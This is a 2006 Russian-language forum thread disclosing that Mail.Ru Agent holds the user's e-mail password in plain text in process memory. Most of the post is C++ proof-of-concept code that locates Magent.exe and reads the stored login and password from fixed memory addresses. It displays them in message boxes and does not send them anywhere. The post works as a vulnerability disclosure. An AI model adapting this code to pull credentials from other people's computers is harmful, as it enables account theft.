Foxter.ru

Foxter.ru (https://www.foxter.ru/index.php)
-   Сетевая безопасность (https://www.foxter.ru/forumdisplay.php?f=72)
-   -   безопасность М-агента (https://www.foxter.ru/showthread.php?t=3194)

Kostyan 28.10.2006 00:42

безопасность М-агента
 
Не так давно решил посмотреть, действительно ли м-агент так безопасен в отношении хранения пароля (в качестве логина программой используется адрес почтового ящика, соответственно пароль от мыла). Пароль агент хранит в реестре в зашифрованном виде и тут вроде все нормально. Что не скажешь о самой программе. К примеру, если снять дамп с работающего процесса Magent.exe и поискать пасс, можно обнаружить его в чистом виде по двум адресам, равно как и хранящийся в оперативной памяти логин.
ниже привожу примерный код для извлечения пароля из памяти процесса и вывода его в MessageBox (сначала выводится логин, потом пасс). Сразу извиняюсь за корявый код, ибо на С++ пишу не так давно:
5
Код:

#include <windows.h>
#include <tlhelp32.h>


BOOL GetProcess();
BOOL GetDataReg();
BOOL ReadProcess(long,char*,int);
HANDLE hProcess=0;

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPTSTR,int)
{
        GetProcess();
        GetDataReg();
        return true;
}

//======  делаем снимок процессов и находим хендл М-агента  ============

BOOL GetProcess()
{
        HANDLE hProcessSnap;
        PROCESSENTRY32 pe32;
        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        if(hProcessSnap == INVALID_HANDLE_VALUE) return false;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if(!Process32First(hProcessSnap,&pe32)) {CloseHandle(hProcessSnap);return false;}
        do
        {
                hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
                if(!hProcess == NULL )
                {
                        if(!lstrcmp("Magent.exe",&pe32.szExeFile[0])) {return true;}
                }
        } while( Process32Next(hProcessSnap,&pe32));
       
        CloseHandle( hProcessSnap ); 
        return true;
}

//======  считываем данные о зарегистрированных e-mail из реестра и определяем длины логина и пароля  =========

BOOL GetDataReg()
{
        char* reg_subkey="Software\\Mail.Ru\\Agent\\mra_logins\\";
        HKEY__* reg_key=0;
        LONG res=ERROR_SUCCESS;
        DWORD i=0;
        DWORD v_type=0;
        char v_name[MAX_PATH];
        char v_data[MAX_PATH];
        char ret[MAX_PATH]={0};
        DWORD size_name=255,size_data=255;
        long offset=0x0604C2C;  // адрес в виртуальной памяти м-агента с логином

        RegOpenKeyEx(HKEY_CURRENT_USER,&reg_subkey[0],0,KEY_QUERY_VALUE,&reg_key);
        while(!res)
        {
                DWORD size_name=255;
                DWORD size_data=255;
                memset(&v_name,0,MAX_PATH);
                memset(&v_data,0,MAX_PATH);
               
                res=RegEnumValue(reg_key,i,v_name,&size_name,NULL,&v_type,(unsigned char*)v_data,&size_data);
                if(!res)
                {
                        memset(&ret[0],0,MAX_PATH);
                        ReadProcess(offset,&ret[0],lstrlen(&v_name[0]));

                        MessageBox(0,&ret[0],"your login!",0);  //выводим мессагу с логином
                        if(!lstrcmp(&v_name[0],&ret[0]))
                        {
                                offset=0x05F7168;  //адрес в виртуальной памяти м-агента с паролем
                                memset(&ret[0],0,MAX_PATH);
                                ReadProcess(offset,&ret[0],v_data[0]);
                                MessageBox(0,&ret[0],"your password!",0);  //выводим мессагу с паролем
                                break;
                        }
                        i++;
                }
        }       
        RegCloseKey(reg_key);
        return true;
}

//=========  читаем данные из процесса  ==========

BOOL ReadProcess(long off,char* buf,int len)
{
        DWORD ReadData;
        for(char i=0;i<len;i++)               
        {
                void* x_off=(long*)off;
                if(!ReadProcessMemory(hProcess,x_off,&buf[i],1,&ReadData)) {return false;}               
                off++;                       
        }
        return true;
}



Вполне возможно, что на другой машине эти данные хранятся по другим адресам, но факт остается фактом: пароль теоретически извлекаем из памяти.

azalio 28.10.2006 02:54

Круто! Предлагаю запостить это на багтрак :)

Kostyan 29.10.2006 01:05

Цитата:

Сообщение от azalio
Круто! Предлагаю запостить это на багтрак :)

Ну это уже на ваше усмотрение =) Я только показал теоретическую опасность...


Часовой пояс GMT +3, время: 23:34.

Powered by vBulletin
Copyright ©2000-2024, Jelsoft Enterprises Ltd.